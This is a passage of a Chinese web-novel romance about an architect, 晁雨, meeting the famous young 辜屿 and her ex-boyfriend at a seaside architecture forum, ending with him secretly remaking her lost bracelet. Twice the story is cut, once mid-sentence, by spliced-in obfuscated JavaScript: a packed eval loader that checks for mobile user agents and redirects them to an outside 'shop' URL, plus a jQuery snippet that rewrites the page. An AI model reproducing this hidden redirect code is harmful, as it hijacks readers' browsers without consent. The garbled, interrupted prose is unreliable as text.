论坛特邀嘉宾的名录上,赫然写着——[辜屿]。 中国文化一直有着“传而不播”的特性,晁雨之前也听说过这个论坛,每年甄选出十佳人文建筑,原创或修缮皆可,大部分有着中国传统建筑属性,是对传统文化的一次有效传播。 规格还挺高,所以每年也会邀请一些跟传统文化相关的名人,吸引流量。 她给许辰懿打电话:“我们应该又能约饭了。” 许辰懿懒哼一声:“来约会啊?” “参加今年的人文建筑论坛。” “是不是啊!”许辰懿嗷一嗓子,声音瞬间高亢起来:“我也要去!” 亚轩作为国内首屈一指的建筑设计公司,为了跟国际公司竞争,很看重建筑里的国风气质。 许辰懿:“你记得咱们在京郊做的那体育运动公园吗?参考了玉如意的形状。” “记得。” “今年落地了,亚轩就是用这个项目报选的。”许辰懿特兴奋:“等着啊,我去申请,到时你不用报住宿了,你就跟我住一栋小别墅,咱就当公费旅游了。” 度假村滨海,住宿区都是一栋一栋的小别墅,尖尖草顶,十分别致。 结果第二天,许辰懿又给晁雨打电话:“你还是别来了。” 晁雨:? 许辰懿这么风风火火的人,难得踟蹰了下,最终还是说:“因为老贱人要去。” 晁雨愣了下。 她记得那设计方案,主设计师并非明恒宇,而是设计一部的另一资深设计师。 许辰懿:“设计师那一栏吧,写着两个人的名字,加上了明恒宇。” 沉默半晌。 “哦。”晁雨说:“我还是,去吧。” 既然她还想做建筑设计,同在一个圈子,要完全避开明恒宇是不可能的。 晁雨跟辜屿的联系,其实并不密。 辜屿给晁雨发天气预报,晁雨给辜屿分享视频,比如她偶尔看到一只特别乖的土狗,在门外乖乖坐着,主人数“一、二、三”,它听得懂似的,一下子蹿进门来。 也不知辜屿看没看过。 今晚,晁雨难得给辜屿发有内容的微信:[最近工作忙吗?] ,:[有两个访谈,还有一个论坛活动。] 晁雨眼一眯:问的就是这个。 她故意说:[哦。] [这么忙。] ,:[还好。] ,:[那个论坛,我应该不会去。] ,:[能推的都推了。] 晁雨捏着手机呆了。 转念一想,就算辜屿不去,她也该去。 既然劝宁塔的修缮方案卡壳,她该去看看高手过招、汲取灵感。 倒是别把这事变成只跟辜屿有关了。 于是她回:[好好备赛。] 辜屿应该在忙,没有再回。 晁雨丢开手机,舒出一口气。 一周后,晁雨启程去北京,先找许辰懿,两人一起去度假村。 许辰懿特拉风地把玛莎拉蒂的敞篷打开,猫眼墨镜一戴,丝巾折成三角戴在头上,抹着烈焰红唇对晁雨飞吻一个: “出发吧~Baby!” 她想得挺美,毕竟要开那么长滨海公路,但她的敞篷开早了,还没出北京城,吃了一嘴的土,一路呸呸呸。 又跟晁雨说:“你别睡啊,我这几天加班困疯了,你帮我盯着点。” 按着她这丝巾墨镜红唇的打扮,醒神的话应该来杯意式浓缩。 但她不,她买了十包特辣味的辣条,时不时让晁雨给她撕一片,一边辣得吸吸嗦嗦的,一边高唱黄梅戏。 晁雨:…… 她脑浆子都被唱混了,一到度假村,又开始觉得神清气爽。 一栋栋迷你的草屋别墅坐落在沙滩边,远远一座白色尖顶小屋的教堂。 晚上有一场各参与单位的欢迎晚宴。 就这么两天的行程,许辰懿带一巨大的行李箱,这会儿晁雨知道为什么了,因为她带了两件“战袍”,都是奢牌的裙子,丢给晁雨一件:“穿上。” 晁雨赶紧接过,生怕这价签后不知跟着几个零的裙子掉地上。 她知道许辰懿什么意思。 今天晚宴,势必碰到明恒宇,许辰懿希望她穿漂亮点。 晁雨掂量着那裙子:“有没有一种可能。” 许辰懿:? “我穿再漂亮也没用?”晁雨:“因为明恒宇是gay?” 许辰懿:…… 最后大手一挥:“那也得穿得光鲜亮丽点!不能跌份儿。” 两人收拾一番,去了晚宴。 许辰懿这种花蝴蝶,晚宴简直是她大展身手的舞台,四处去发名片,搜罗潜在客户。 晁雨自己端着杯鸡尾酒,许久没穿高跟鞋了,她有点不自在。 有个年轻男人过来搭话:“嗨。” 晁雨愣了愣:“嗨。” 又仔细看了看,虽然她偶尔有点脸盲,但眼前这人,她是真不认识。 男人扬扬手里的相机:“你的气质特别古典,能跟我们建筑作品的海报合张影么?你要是觉得实在不方便,背影,背影也行。” 晁雨顺着他手指的方向看了眼。 那是一座活用了古典乐器箜篌的文化空间设计,晁雨也有耳闻。 晁雨今天穿一件略带旗袍元素的礼服,她个子不高,礼服形似青瓷瓶,掐出她盈盈一握的纤腰。一头浓密乌发披在肩头,她五官淡,许辰懿给她化妆时也就保留了这一特质。 只用朱砂红,在她偏小的唇形上一点。 她是江南水土养出的姑娘,适合撑一把油纸伞,再走进雾气弥绕的窄弄里去。 这时旁边又有一男人上前,先冲晁雨笑笑,又跟先前的男人耳语几句。 那男人脸色微妙一变,又对晁雨笑道:“不好意思,我们有点急事,照片就先不拍了。” 晁雨挑挑唇角:“没事。” 两人匆忙走开。 晁雨很知道他们刚才在说什么。 无非有人认出她是晁雨,提起她在亚轩被指控剽窃的那档子事。 晁雨觉得没什么可说的,是她年轻时自己太蠢,要自证,就要自己想办法。 她一个人站了会儿,有些饿了,刚拿起冷餐台上的一只三文鱼挞,便见明恒宇向她走来。 她有心理准备,只是手里这只三文鱼挞,一时间放也不是,吃也不是。 明恒宇笑道:“没想到在这里碰到你。现在在哪高就?” 他明明知道。 晁雨还是不卑不亢地答:“洵州,古建筑保护管理局。” 明恒宇点点头:“在祝境鹤门下,他应该教了你不少吧?” 晁雨的表情空白一秒。 垂落的那只手,指尖藏在裙摆后,用力地蜷起来。 明恒宇太了解她了:“怎么,你不会不知道吧?” 晁雨的指尖掐进掌纹里,笑道:“知道啊。” “是吗。”明恒宇轻飘飘一句,这时边上有人叫他,他应了句,跟晁雨说:“待会儿再聊。” 便先走开了。 晁雨默默走到角落。 手机就在她手包里,她一手捏着三文鱼挞,单手艰难地掏出手机。如果这时征询许辰懿的意见,许辰懿一定让她别给九叔打这个电话,成年人之间撕破脸皮不好看。 但她忍不住,还是打了。 “喂?”九叔接起来:“哈哈我赢咯!拿来吧你的娃娃头。” 听到晁雨在电话那端沉默,他又一声:“喂?” “为什么不承认你是祝境鹤?”晁雨开门见山地问。 “很重要吗?” “重要。” 至少我不会被那该死的前男友,当傻子一样看着。 九叔顿了顿,忽然说:“我早告诉你了,劝宁塔的修缮方案你做不出来。” 晁雨屏气。 “难道我说我是祝境鹤,这句话你就听得进去了?” “听不进去。”晁雨说:“我还做。” “那不就结了?没什么区别。”九叔说完就把电话挂了。 晁雨抿着唇,又艰难地把手机塞回手包。 有时她觉得自己是个弹球,捏扁搓圆,知道要去适应这世界的规则。可又有那么点弹性,真想要一脚踩扁,也没那么容易。 她的骨气和倔强不多,就那么一点。 也就因为那么一点,并不那么容易磨得掉。 明恒宇又一次向她这边走来:“你有没有想过?” 晁雨看着他。 “如果你不跟我较劲,现在跟我一起站在这里、接受年度十佳建筑荣誉的,就是你了?” 晁雨:“把我的作品分你一半么?” 明恒宇很轻地咂了一下嘴:“话不是这么说的。” 晁雨笑了,笑得明艳灿烂、眉靥如花。 她笑望着明恒宇说:“你等着看,有一天,我会站在这里。作品上,写着我一个人的名字。” 明恒宇有那么半秒没说话。 他竟有那么一瞬的错觉,如此高端的宴会厅竟会刹那的电压不稳,满厅的射灯一闪,灼灼的光华聚在晁雨本就清亮的眸子里。 晁雨表面笑得成熟大气,内心在小人跺脚。 气死了气死了气死了! 凭什么气死的该是她!她就要把劝宁塔的方案磨出来,气死九叔!气死明恒宇! 她表面笑着,但看着明恒宇这副故作温厚的嘴脸真叫她胃里恶心,她也不想在明恒宇面前保持什么形象了,把那不知拿了多久的三文鱼挞喂进嘴。 妈耶!忘了这是冷食了,未经烤熟的三文鱼多少带点腥。 晁雨胃里一阵翻涌,更不想看明恒宇那张脸了。 她有一耳朵没一耳朵听明恒宇说着,目光越过明恒宇的肩向前看去。 接着眸光一凝。 辜屿站在那里。 他穿正装,人人都穿正装。可他穿得随性,袖子松松挽着,那白衬衫的材质一点不板正,让人想起那句经典评论:是他穿衣服,而不是衣服穿他。 他的目光隔着很多人群,淡淡落在晁雨身上。 与晁雨视线相撞的瞬间,又倏然移开了。 晁雨怔了怔。 她对明恒宇点了点头:“该说的都说了,我先走了。” 明恒宇尚未说完的半句话卡在喉头,他大概没想到晁雨根本没听他说什么。 “等等。”他叫住晁雨。 晁雨回头。 他微妙地发现,晁雨身上有什么东西不一样了。以前她并非完全没有脾气,但她很乖驯,她把自己装进一个格子里。 “你用这种眼神看着我干什么?”晁雨道:“需要我提醒你,你是个gay么?” 明恒宇哑口无言。 晁雨已走开去了,攥着手包微微捏拳。 她不如许辰懿那么巧言善辩,有时候跟人吵架发挥得不好,她心里憋屈得要死,忍不住脑中一遍遍回放小剧场,要是重吵一遍的话怎么能吵得更好。 但这次,她觉得她吵得挺好的。 她走到冷餐桌边抽了张纸巾,慢条斯理擦着手指上的酥皮屑,藏在裙摆里拎起一只脚踝,放松着被高跟鞋压迫的脚。 辜屿并没走过来。 他的身边站着丁鷇音。他突然现身于这里,是因为丁鷇音给他打了个电话。 丁鷇音:“你在路上了么?” 辜屿:“什么路上?” 丁鷇音:“人文建筑论坛啊,你不是特邀嘉宾么?” “赶紧来,给我投资的度假村带带人气。你不知道,现在房地产投资挺大的,回本不易啊。” 辜屿:“不去。” “没打算去。” 丁鷇音嘶一声:“你这就不地道了啊,把不把我当朋友?” 又觉得以辜屿的性格,很可能给他来句“不当”。 话锋一转:“就算不是朋友,怎么着也是从小一起长大吧?” “我可还想着你以后和雨姐来玩的话,给你们留栋最好的小别野呢。” 辜屿当时刚从一个摄影棚出来。 忽然想到:晁雨好像鲜少主动问起他工作的事。 辜屿回头。 助理跟在辜屿身后,发现辜屿看着他,抬手摸了摸自己的脸:“怎么,莫非我脸上长出了加薪二字?” 辜屿:“给我安排辆车。” “去哪?” “度假村。你先下班,不用跟着。” “好好好。”助理忙不迭应下来。 这活动吧其实挺重要,只是辜屿对商务活动向来是能推则推,谁也不好说什么。 辜屿开车疾驰在海滨公路上。 他开车的姿态有些慵懒,一手松松地搭在方向盘上。此时暮色已浓,天色是一种透光的灰,他开着车窗,嶙峋的礁岩间有海浪声,随海风一起灌进来,吹着他白衬衫的领口猎猎作响。 一场这样的商务活动去或不去,其实没什么紧要。 只是他想:第几次了。 第几次行驶在这样漫无尽头的蜿蜒公路上,分不清暮色或黎明。 往里走的时候遇到丁鷇音,丁鷇音“嘿”一声,立马抬手抓住他手腕。 他抽走,淡声问:“干嘛?” “我怕你跑了。” 两人一起往里走,并不声张。可辜屿这人存在感太强,他一露面,无数道目光射过来。 丁鷇音腰杆都挺直了,恨不得明天就让人满处挂上横幅: [这是辜屿来过的度假村!] 或者不挂横幅也行。拿个大喇叭喊也行。 丁鷇音这人眼尖,做生意的人,无论进到何种场合,都先观察一遍环境。这一观察他就发现了:“哟,那不是雨姐吗?” 说着一瞟辜屿:“哦你已经看见了。” 又望向晁雨那边:“雨姐跟谁说话呢?笑这么山花烂漫的。” “那男的谁啊?小西装一穿还挺有格调。” “聊挺久啊,聊什么呢这是。” “诶雨姐知道你今天要来么?打扮这么好看,喔合着你们商量好的,遛我玩呢是吧?” 辜屿默默看着他。 这人眼神太凌厉,丁鷇音不自觉后退半步:“干嘛?” “没怎么。”辜屿收回视线:“她不知道我要来。” “还有,”他又睨了丁鷇音一眼:“我以前怎么没发现你长了张嘴。” -

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967944|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许辰懿发完一圈名片,溜回晁雨身边:“这么跟你说吧,就凭姐们儿这舌灿莲花的功夫,这晚宴上的潜在客户没有一打,也有半打。” 她跟晁雨拍胸脯:“不就食仙儿吗,就辜屿弟弟能请你吃啊?你姐们儿赚了钱也能请你吃。” 说到这,她眼珠滴溜溜一转:“哎哟我去,那不是辜屿弟弟么?” “我的线报是他不会来啊。”许辰懿指着晁雨,指尖浮夸地抖啊抖:“原来你不是为我来的,你欺骗了我的感情!” 晁雨:“……别演。” “你知道他要来么?” “不知道。”晁雨想了想又改口:“知道。” “到底知道还是不知道?” “我的意思是,我和你一样,看到特邀嘉宾写他名字了,但我没跟他确认过,他会不会来。” “为什么不确认?” 晁雨不说话。 许辰懿一翻白眼:“跟这儿玩心有灵犀呢?他看见你了吗?” 晁雨望着前方主舞台:“看见了。” “那你俩不讲话?”许辰懿又一翻白眼:“跟这儿玩隐秘刺激呢?” 晁雨真受不了她那腔调,抬手在她腰上一掐:“许辰懿,你谈恋爱的时候千万别被我抓到,到时候就一报还一报,苍天饶过谁。” 这时主持人登上主舞台:“让我们有请本届论坛的特邀嘉宾。” 今晚不设什么环节,只是请嘉宾们简单跟大家打个招呼。 三位嘉宾,一位是古文物专家,一位是研究魏晋南北朝的学者,再就是辜屿。 当主持人最后叫道“辜屿”这个名字时。 全场并不沸腾,甚至有一瞬静默。 他像一道月光,人们只会为炽盛的阳光欢呼,却会屏息等到月光的照落,带着更多的仰慕与郑重。 尽管,他只有区区二十三岁。他的沉稳超越年龄,他的成就也超越年龄。 因辜屿和丁鷇音一同站在宴会厅最后,人们齐刷刷回过头来。 那一刻晁雨心底震撼。 她过往接触的都是洵州的辜屿,并没有切实感受过辜屿的人气到底有多高。 直到那些目光汇聚起来,像一条路,也像一柄剑。 它能托着你通往花团锦簇,也能击溃得你万劫不复。 那是晁雨第一次切身感受到,辜屿的盛名之下,背负着多大的期待,也承受着多大的压力。 她开口回答许辰懿刚刚的问题:“避嫌吧。” 许辰懿又白眼一翻:“他避哪门子嫌?又不是idol,靠人气吃饭的啊,他不就靠他神之左手吗?” 晁雨:…… 她现在听不得神之左手这个词。 可,辜屿走过她身边的时候。 人群让出的通道很窄,人人都想簇拥在他身边,有女生在兴奋地窃窃私语,更多人举起手机来拍照。 他穿一条修身的西裤,裤脚轻扫过晁雨的裙摆,左手轻轻擦过晁雨垂落在裙边的手指。 他的手总是很凉。 一瞬接触,又分开,他往聚光灯处走去。 晁雨望着他背影。 这好像也是晁雨第一次发现,辜屿走路其实很快,像他的落子一样,带着某种锋锐,从不拖泥带水。 那以前在洵州无数次走过青石板路时。 无论并肩,或一前一后,晁雨想,他是刻意放缓了步频在等她吗? 辜屿走到舞台上,聚光灯笼了他满身。 许辰懿低低地吹了声口哨:“这小脸长得是挑不出毛病嘿,你还不抓紧回本。” 晁雨立马拍了她一下:“你小点声。” 冷餐会结束后,活动转到外场。 这时,滨海的优势淋漓尽致发挥出来,海滩上燃着篝火,远远传来海浪拍岸的声音。 丁鷇音激动地搓着手:“这是要火啊!我能回本了!” 许辰懿又去发了轮名片。 晁雨端了杯低度数的鸡尾酒,在海滩上溜达着。今天还没做年度十佳建筑的正式展示,但她看到了不少海报,一边总结经验,一边琢磨着劝宁塔的事。 然后,她站在原地。 放眼往沙滩上望去。 今晚的女宾个个穿晚礼服配高跟鞋,这海滩的沙质并不太软,个个健步如飞。 怎么就她踩坑里了呢? 晁雨默默叹了口气,余光瞥到辜屿站到了她旁边。 风卷着海浪。 辜屿眸光很淡地望着海,远处的篝火毕剥一声,溅出三两点火星。 两人谁都没说话,半分钟后,辜屿走过来。 在她面前蹲下。 晁雨记不清这是辜屿第几次帮她处理高跟鞋了。她也不知自己穿高跟鞋为什么总是踩坑,简直就像她的人生一样。 可这次和在洵州不一样。 他们站在暗处,可辜屿太惹眼,不少人朝他们这边看过来。 辜屿蹲在她面前,晁雨垂眸,能看见他一截冷白的后颈。 这是一个介于越界和不越界之间的动作,可以推托到绅士风度和礼貌。 他微凉的手指钻过裙摆,握住她纤细的脚腕。 在风卷的海浪声中。 在众人或探究或好奇的目光中。 他们共享着公开的隐秘,不露声色的亲密。 晁雨微妙地阖了阖眼,在心里说: 好久不见。 - 辜屿拔出晁雨的高跟鞋,便站起来走开了。 许辰懿啧啧啧地回来:“这避的哪门子嫌?没见过这么避嫌的。” 她问晁雨:“你俩说话了么?” “没有。” 许辰懿嘶一声:“唱的哪出啊这是?” 许辰懿虽跟晁雨在这站着,照样是耳听六路眼观八方,不停在海滩上扫视着,每次一掠过明恒宇,鼻腔里就十分不屑地哼一声。 晁雨:“你怎么跟匹马似的。” 许辰懿:“我就看不惯他道貌岸然那样儿!装得跟二五八万似的,刚才还苍蝇似的缠着你说了那么久话。” “你可千万别说他是苍蝇。”晁雨:“他是苍蝇,那我成什么了。” 许辰懿呆滞半秒,无比响亮地“哈”一声。 忽然一拍巴掌:“姐们儿,我悟了!” “辜屿弟弟,别不是吃醋了吧?” - 许辰懿这么一说,晁雨都愣了。 “吃醋”。 “辜屿”。 这大概是全世界最不该被联系在一起的两个词。 “不能吧。”晁雨说。 许辰懿想了想也点头认可:“嗯,是不能。” 晁雨在海滩上扫视了圈,没看到辜屿。 她想去洗手间,便往宴会厅内走去。 却在休息区的沙发上瞧见了辜屿。 辜屿的神情,向来让人分不清他在放空或是想事。听到脚步,掀起冷薄的眼皮。 晁雨向他走过去:“在这干嘛?” 辜屿没答,只是看着她。 在其他人看来,辜屿的眼神总是很沉冷。但当他看向晁雨时,还是有微妙差别。 他的眼神挂在晁雨睫毛上,又落在她聚了光的鼻尖,停了不知几秒,往下,掠过她点了朱砂红的唇,落在礼服外露出的锁骨。 那眼神更直接,带着某种让人愉悦的、甚至暗含侵略意味的凝视。 晁雨也许喝了鸡尾酒。 耳垂开始发烫。 辜屿:“你的裙子。” “嗯?” “很漂亮。”他的眼神落下去,又浮起来,看着晁雨。 晁雨:“你喝多了。” 她这话有点夸张。辜屿这样的人不会喝多,可辜屿平时的确不会说这样的话。 辜屿没有否认:“嗯。” 晁雨坐到沙发另一端,与他隔着距离。若有人路过,只会当他俩是恰巧坐在这里的两个陌生人。 可晁雨的高跟鞋挪过去。 鞋尖很轻踢了踢他皮鞋的侧沿。 辜屿抬手揉了下太阳穴:“跟别人有话讲,跟我没话讲?” “什么?” 他的视线落下去,看着晁雨已经缩回去的高跟鞋。语气太平,让人捕捉不到他情绪的端倪。 但晁雨已经捉到他了。 走廊里有人路过,晁雨一本正经,正襟危坐。 嘴里用很低的声音问:“你看到跟我讲话的那人,你知道他是谁?” “我没查过你。”辜屿答:“只是以前葛阿姨经常提起。” “哦。”晁雨点头:“所以你知道他是我前男友。” 辜屿不讲话,把衬衫袖子放下来,理了理,又一点点卷上去。 晁雨:“那你知道他是gay么?” 辜屿理袖子的手顿住,表情出现一秒的空白。 这样的表情出现在辜屿沉冷的脸上实在有点好笑,以至于晁雨讲起这么悲惨的往事,都忍不住笑了声。 走廊又有人走过。 晁雨掏出手机,给辜屿发了条微信:[原来你吃醋了。] 辜屿掏出手机看了眼,没回,偏过头去。 一直到走廊那人路过了,他低低开口:“没有的事。” 晁雨看向他耳后。 这好像是第一次,两人没任何亲密举动,他耳后却浮起了一道类似过敏的红痕。 挠得晁雨心里痒痒的。 然后她用比辜屿更低的声音说:“你的别墅房号,告诉我。” 辜屿那边有一瞬的沉默。 所有人都说,他是一个凌厉的人,不驯的人,过分拥有主见的人。 可这时,他把声音压得更低,以至于语调里暗藏了某种顺从:“我的房号,1026。” 58. 在一起05 辜屿说完这句后,晁雨心满意足地理了理裙摆。 站起来时,心中涌现出一种富婆包养小鲜肉的快乐。虽然,她月薪两千五。 走到海滩,找到许辰懿,发现丁鷇音正跟许辰懿说话。 晁雨走过去时,正听丁鷇音说:“想要那个包也不是什么难事。” 晁雨问:“什么包?” “我一甲方客户奶奶想要的包,配货都拿不到。”许辰懿笑嘻嘻:“丁公子的妈妈是那牌子的钻石会员。” 这时一个服务生从后面撞来。 丁鷇音立刻扶住许辰懿,众人回头,一青涩服务生对他们低着头:“对不起。” 主管立刻赶来,更是连声道歉:“不好意思,他是我们的临时员工。” 晁雨和许辰懿对视一眼。 许辰懿对主管说:“这里没事了。” 晁雨对那服务生开口:“你跟我来一下。” 一直走到角落,晁雨:“抬起头来。” 对方一直低着头。 晁雨忍不住吼道:“你一直低着头我就看不出是你了?晁二柱你给我把头抬起来!” 晁二柱抬起头。 晁雨瞪着他:“你不是在上海实习么?” “其实,”晁二柱挠挠头:“我在北京实习。” “干嘛撒谎?” “跑这么远,怕妈担心。我又不像你那么有主意。” “你在这干嘛?”晁雨想了想:“反正你不可能是跟踪我,你该不会是跟踪辰辰吧?你这种行为,能给你送进局子里去你信么?” “不是,不是不是。”晁二柱连连摆手:“我周末打零工,我不是辅修过酒店管理么,真是巧合。” “平时呢,平时在哪实习?” “那没撒谎,还是在律所。”晁二柱:“姐,你别告诉妈我在北京的事。主管发现我在闲聊得扣钱,我先走了啊。” 晁雨走回许辰懿身边,丁鷇音已去应酬其他人。 许辰懿:“是你弟吧?我没看错吧?” “没有。” 许辰懿抱着双臂笑一声:“身材还是那么好。” 她这句话故意说得有些轻佻,晁雨心里有那么一点不好受。 回到两人的别墅,许辰懿去洗澡。 晁雨倒干净了鞋里的沙,倚在沙发上给晁二柱发微信:[回去了么?] 不叫擎天柱偏叫大黄蜂:[嗯,回宿舍。] 晁雨给他转了两千块钱过去。 晁二柱拒收,并问:[干嘛?] 冷冷冰雨:[缺钱就拿着。] 不叫擎天柱偏叫大黄蜂:[不缺。] 房里并没有开灯,沙发后的百叶帘开着,清透的光漫过窗沿,倾泻一地。 晁雨在对话框里打:[别犯傻。] 又默默把这三个字删掉了。 放下手机,等许辰懿洗完,她也去洗了个澡。 然后换上白T和牛仔裤。 许辰懿裹着发膜,微眯着一双妩媚的狐狸眼,就那么皮笑肉不笑地看着她。 晁雨索性破罐子破摔:“我去回本了。” “去吧去吧。”许辰懿笑得更狐狸了。 在玄关换上帆布鞋时,晁雨回头看了眼。 许辰懿倚在她刚坐过的沙发上,望着窗外的月光,指尖一晃一晃,似在捞着把玩。 有那么一瞬间,晁雨想跟她聊聊晁二柱。 最终还是什么都没说,走出门去。 度假村的别墅也分三六九等,晁雨和许辰懿的这栋在比较密集的区域,特邀嘉宾们的别墅在另一区,要走过刚举办晚宴的长长海滩。 晁雨慢慢走着,月光照拂着涌动的白色浪头。 很舒服,很安静。并且这种安静,跟洵州又是不同的氛围。 走到别墅区,晁屿一个个去看那暗金镂刻的门牌,后来发现没必要,因为辜屿站在门外。 她走过去:“这不算啊。” 辜屿:? 晁雨:“你进去,我敲门,流程得完整地走一遍。” 每次辜屿露出那种被鹅啄了的表情,晁雨都觉得很好笑。 辜屿还是进去了。 晁雨踏上刻意不规则切割的木楼梯,敲门。 辜屿拉开来,看她笑盈盈站在门口。 辜屿:“不进来?” 晁雨笑着摇头:“我们去散步好吗?” 本来是来回本的。 刚刚走过海滩的时候,又改了主意,觉得这样一起漫步也很好。 从只能肌肤之亲,到能一起漫步,他们的关系,是不是又前进了一小步? 晁雨在前,辜屿跟在她身后:“你可以把鞋脱了。” “什么?” 晁雨回头,见辜屿视线垂落在她脚后跟上。 她皮肤柔腻,不管穿什么牌子高跟鞋,总会磨出一道红痕,更惨一点会出血。 这会儿换了帆布鞋,也磨着伤口。 于是晁雨脱了帆布鞋,辜屿上前,把鞋拎在手里。 又等她往前走了几步,才跟在她身后。 晁雨忽地站定:“嘶……” “我好像被海蜇咬了!” 辜屿拎着帆布鞋,一脸淡定走过她身边。 “喂!”晁雨在后边喊:“你是不是根本不会被骗到啊?” 海滩上的热闹散尽,有一种浮华过后的清静。 路灯很远,把两人的影子拖成长长两道。 直到晁雨说:“回去吧。” 海滩蚊子毒,她拍拍自己手腕,下意识看一眼。 辜屿问:“怎么?” 晁雨:“许辰懿送我的手链丢了。” 度假村扶持文创,有一些手工摊位,做陶艺的、画像的、编手链的。 许辰懿买了条手链,给晁雨戴上:“摊主说这五彩绳编的,能带来好运。” 晁雨:“你信这个?” “不信。”许辰懿笑嘻嘻掐一把她脸:“但你是傻子,你可以信。” 这会儿丢了,晁雨不知怎的,想起刚刚许辰懿趴在窗口看月光的模样,心里就有点难过。 她往回走着找,却一无所获。 那么细一条手链,裹进沙里,被浪卷走了也说不定。 最后也只得放弃:“算了。” 辜屿问:“很重要么?” 晁雨点点头。 辜屿:“应该不可能找到。” 怪物智商的人,习惯用理性分析一切。 晁雨微扬了下唇:“我知道。” 两人一起走过海滩,停在辜屿的别墅门前。 辜屿掏房卡开门,回头见晁雨还站在木阶下:“不进来?” 晁雨笑着摇摇头:“不了。” 足够了。 这个晚上很足够了。 并非每次见面都要肌肤之亲。晒过的月光存进心里,是另一种味道的饱胀。 晁雨回房的时候,许辰懿已经睡了,她放轻了手脚,看许辰懿的背影蜷成一个虾米。 第二天一早,两人起床洗漱,换衣服去会场。 时间有点赶,许辰懿推门推得急,什么东西一晃而落,许辰懿以为是什么虫,倒退一步:“哎哟我去。” 定睛一看,才发现是她昨天送晁雨的那条手链。 她捡起来往晁雨手里一递:“你把这东西挂门上干嘛?招神呐?” 等晁雨戴上又来拉她手腕:“快走,来不及了。” 今天是「年度十佳人文建筑」的发布仪式。 晁雨看着那些效果展示,直到亚轩出场,明恒宇作为代表讲解方案,一股挥斥方遒的劲头。 许辰懿明明也代表这项目,鼻子不是鼻子脸不是脸的哼一声。 仪式结束,辜屿另有工作,便已先走。 许辰懿去给市场部的同事买纪念品,晁雨和她一同走到卖手作的小摊前,一个人信步闲逛着。 路过手链小摊,一个年轻姑娘是摊主,手里忙活着一条新手链,抬头见晁雨的手腕,笑道:“这是我今早编的那条吧?” 搞建筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984069|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,尤其搞木质建筑的人,洞察秋毫,晁雨今早一见这条手链,就知不是原来那条。 于是点头:“对。” “今早我一出摊,就有个帅哥来编手链,说要条跟昨天一样的。”摊主手里忙活着抬头:“怎么你昨天也来买过么?” “嗯,不小心弄丢了。” “昨天度假村不是什么论坛签到吗,好多人来这里逛,我不记得了,而且你看我这些手链,配色都不一样,我就让他重新选几个颜色,我重新编一条。”摊主笑问:“新的这条怎么样?” 晁雨挑唇:“嗯,很好看。” 它的好看在于,它跟昨天送给晁雨的那条,一模一样。 晁雨半蹲在摊前,看摊主在那小木器上手指翻飞地编手链。 她身后是摩肩继踵逛手作摊的人,论坛结束后,有人约了朋友过来,牵着巨大的金毛和拉布拉多。摊主是个开朗的姑娘,一边忙活一边跟晁雨闲聊。 晁雨微弯着笑眼,时不时答她一句。 心里想着那早已被她忘记的、又在这个夏天找回来的七件小事。 到现在,这条手链也一样。 在所有人都漫不经心的小事上,他看见,并且,他记得。 滨海的阳光照得晁雨脊背发烫,许辰懿拎着大包小包过来,一把捞起晁雨:“买好了,走吧。” 两人回别墅收拾东西,准备启程回北京。 许辰懿单膝跪在床上,小心翼翼收拾那两条贵得要死的裙子,忽地从床上跳下来:“我们去拍照吧!” 她拉起晁雨往外跑去。 原来此时夕阳正好,一片炽金的洒在海滩上。 来参加论坛的人都散了,海滩变成她俩的专属。许辰懿甩开高跟鞋,在沙滩上跑跑跳跳:“你别抓拍到我鼻孔朝天的表情啊,你用连拍,几十张里总能选出一张好看的。” 又叫晁雨:“你过来,我给你拍。” 晁雨:“我不,我又没你上相。” 空荡荡的海滩上除了她俩,只有一个清扫的老人。她拎着个巨大的塑料袋,收拾被冲到海滩上的塑料瓶、啤酒瓶盖、和有可能划伤人脚的贝壳。 走到晁雨这边时,发现晁雨蹲下身,帮她把周围一小片的塑料瓶都捡了,递给她。 老人:“谢谢你啊,姑娘。”又望一眼远方正拍夕阳的许辰懿:“你们现在的年轻人,都不喜欢热闹对吧?” “嗯?” “昨天夜里我来收拾的时候,也看到有年轻人在这。” 晁雨心里一动。 她问:“一个穿黑衣服的年轻人?” “对。”老人点点头:“他是来找东西的,问我有没有看到过一条手链,我说没有,应该被浪卷走了,他跟我道谢,我走以后,他又一个人在海滩上待了很久。” 老人瞥一眼晁雨腕上的手链,嘀咕道:“也不知他找什么手链那么宝贝,有没有你这条好看。” 晁雨冲老人笑道:“我想,是一模一样的好看。” 老人走远后,海风略潮地卷过来,让人想起潮湿的南方。 晁雨把被风拂乱的发丝挂回耳后。 辜屿给她编了条一模一样的手链,她很开心。 但要说真正触动,是此时此刻,知道辜屿昨夜一个人在这里找了很久的手链后。 他根本不相信手链会在这里。 但他还是来了。 晁雨心里升起一种毛茸茸的柔软,像被夕阳镶了层毛茸茸金边的那朵滩云。 许辰懿拍够了夕阳走回来,手遮在眼前挡着夕阳,远眺那座白色尖顶的小教堂:“还真挺多人去拜的嘿……外国人是叫拜么?” 晁雨:“不知道。” 许辰懿拎起晁雨的爪子,对着天空晃两晃,笑嘻嘻望着那条手链道:“你不需要,你有这个,你是被上天厚爱的人。” 晁雨笑着点点头:“对。” 她倒过大霉,可这一刻,她真心认同许辰懿的这句话。 被上天厚爱的人,同一份礼物,能无比珍贵地收到两次。 59. 在一起06 晁雨准备启程回洵州时,九叔打来电话。 她本来不想接,后来还是接了,声音闷闷的:“喂。” 